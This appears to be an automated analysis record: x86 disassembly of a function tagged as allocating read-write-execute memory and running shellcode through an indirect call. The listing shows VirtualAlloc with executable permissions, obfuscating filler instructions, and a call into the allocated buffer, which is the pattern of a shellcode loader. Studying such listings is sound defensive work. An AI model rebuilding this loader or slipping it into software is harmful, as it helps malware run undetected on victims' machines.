Function at 0x4150e7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
jmp 0x41511e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
mov dword [ebp - 0x14], esp
push 0x40
push 0x1000
push 0x64
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x4151c5
push 0x5c
push 0x402cd0b
push 6
call fcn.0049c19e
add esp, 0xc
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], esp
push 0x40
push 0x1000
push 0x64
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x415205
push 0xad
push 0x402cd0b
push 6
call fcn.0049c19e
add esp, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], esp
push 0x40
push 0x1000
push 0x64
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x415245
push 0xfe
push 0x402cd0b
push 6
call fcn.0049c19e
add esp, 0xc
mov dword [ebp - 0xc], eax
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x41525d
mov eax, 0x4ae21c
push eax
push 1
mov ebx, 0x194
call fcn.0049d150
add esp, 0x10
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4152f6
push 0x80000601
push 0x4212bfad
push 0xed600000
push 1
mov ebx, 0x168
call fcn.0049d600
add esp, 0x10
mov dword [ebp - 0x14], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x4152b4
mov eax, 0x4ae20b
push eax
push 1
mov ebx, 0x198
call fcn.0049e5b0
add esp, 0x10
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4152da
push ebx
call fcn.0049c198
add esp, 4
mov eax, dword [ebp - 0x18]
push eax
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
test ebx, ebx
je 0x4152f0
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov ebx, dword [ebp + 8]
mov dword [ebx], eax
push dword [ebp + 8]
call fcn.00415626
mov dword [ebp - 0x14], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x415314
mov eax, 0x4ae20b
push eax
push 1
mov ebx, 0x154
call fcn.0049f2c0
add esp, 0x10
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41533a
push ebx
call fcn.0049c198
add esp, 4
push 0x80000301
push 0
push 0x10
push 0x80000301
push 0
push 9
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x415365
mov eax, 0x4ae20b
push eax
push 3
mov ebx, 0x13c
call fcn.0049ec20
add esp, 0x28
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x41538b
push ebx
call fcn.0049c198
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x41539e
mov eax, 0x4ae20b
push eax
push 1
mov ebx, 0x198
call fcn.0049e5b0
add esp, 0x10
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4153c4
push ebx
call fcn.0049c198
add esp, 4
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4153d8
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
cmp dword [ebp + 0xc], 0
je 0x4154f5
push 0x4aec3a
push dword [ebp - 0x10]
mov ecx, 2
call fcn.00401577
add esp, 8
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
call fcn.00415626
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41541a
push ebx
call fcn.0049c198
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x41542d
mov eax, 0x4ae20b
push eax
push 1
mov ebx, 0x154
call fcn.0049f2c0
add esp, 0x10
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x415453
push ebx
call fcn.0049c198
add esp, 4
push 0x80000301
push 0
push 0x10
push 0x80000301
push 0
push 9
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x41547e
mov eax, 0x4ae20b
push eax
push 3
mov ebx, 0x13c
call fcn.0049ec20
add esp, 0x28
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4154a4
push ebx
call fcn.0049c198
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x4154b7
mov eax, 0x4ae20b
push eax
push 1
mov ebx, 0x198
call fcn.0049e5b0
add esp, 0x10
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4154dd
push ebx
call fcn.0049c198
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4154f1
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0xc]
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x415518
mov eax, 0x4ae21c
push eax
push 3
mov ebx, 0x914
call fcn.0049f890
add esp, 0x28
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 8]
push 0xa0000101
push 0
push 0x4aec62
push 3
mov ebx, 0x914
call fcn.0049f890
add esp, 0x28
mov ecx, dword [ebp - 4]
push dword [ebp - 0xc]
call dword [ebp - 8]
mov dword [ebp - 0x14], esp
push 0x8000
push 0
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x4155a1
push 0xf5e
push 0x402cd0b
push 6
call fcn.0049c19e
add esp, 0xc
mov dword [ebp - 0x14], esp
push 0x8000
push 0
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x4155d7
push 0xf8a
push 0x402cd0b
push 6
call fcn.0049c19e
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x41560e
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x41561f
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0xc